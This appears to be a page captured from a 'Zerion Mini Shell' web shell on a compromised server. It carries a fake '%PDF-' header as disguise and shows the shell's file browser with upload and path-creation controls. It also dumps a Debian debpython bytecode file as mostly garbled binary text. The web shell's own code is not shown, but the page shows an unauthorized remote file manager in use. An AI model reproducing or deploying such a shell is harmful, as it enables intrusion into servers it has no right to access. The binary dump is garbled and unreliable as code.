%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/share/python3/debpython/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/share/python3/debpython/__pycache__/__init__.cpython-35.pyc



Nw�VU�
@s�yddlmZWnek
r.dZYnXddlZddlZddlmZmZddlmZej	e
�Zejd�Z
Gdd�d�Zddddd	�ZdS)
�)�datetimeN)�PIPE�Popen)�dumpsz4.*?/usr/lib/python(\d(?:.\d+)?)/(site|dist)-packagesc@s(eZdZdd�Zdd�ZdS)�memoizecCs||_i|_dS)N)�func�cache)�selfr�r
�(/usr/share/python3/debpython/__init__.py�__init__s	zmemoize.__init__cOsEt||f�}||jkr:|j||�|j|<|j|S)N)rrr)r	�args�kwargs�keyr
r
r�__call__szmemoize.__call__N)�__name__�
__module__�__qualname__rrr
r
r
rrsrc	Cscddd|d|i}d}|dkr-n�|dkrR|jdtdt�n�|r�t|t�r|d}t|d	�}tr�|jd
jtj�j	���|jdj|��|j
�|jd|d|�tjd|�t
||��c}|j�\}}|o|j�td
|jd|o?t|d�d|oTt|d��SWdQRXdS)a<Execute external shell commad.

    :param cdw: currennt working directory
    :param env: environment
    :param log_output:
        * opened log file or path to this file, or
        * None if output should be included in the returned dict, or
        * False if output should be redirectored to stdout/stderr
    �shellT�cwd�envFN�stdout�stderr�az
# command executed on {}z
$ {}
zinvoking: %s�
returncodezutf-8)�updater�
isinstance�str�openr�write�formatZnowZ	isoformat�flush�log�debugr�communicate�close�dictr)	ZcommandrrZ
log_outputr
r%�processrrr
r
r�executes,
"
r()r�ImportError�logging�re�
subprocessrr�pickler�	getLoggerrr"�compile�
PUBLIC_DIR_RErr(r
r
r
r�<module>s


Zerion Mini Shell 1.0